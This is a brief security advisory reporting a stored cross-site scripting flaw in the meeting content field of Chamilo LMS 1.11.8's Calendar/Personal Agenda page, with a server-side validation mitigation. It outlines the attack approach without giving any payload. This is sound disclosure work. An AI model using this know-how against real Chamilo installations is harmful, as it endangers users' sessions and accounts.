Chamilo LMS 1.11.8 – Cross-Site Scripting

Improper input validation on the Calendar / Personal Agenda page allows attackers add a persistent Cross-Site scripting attack to the meeting's content field when adding a new meeting. Simply intercept a new meeting request and add in the XSS.

Mitigation:

Input validation should be done on the server-side to prevent malicious input from being accepted.
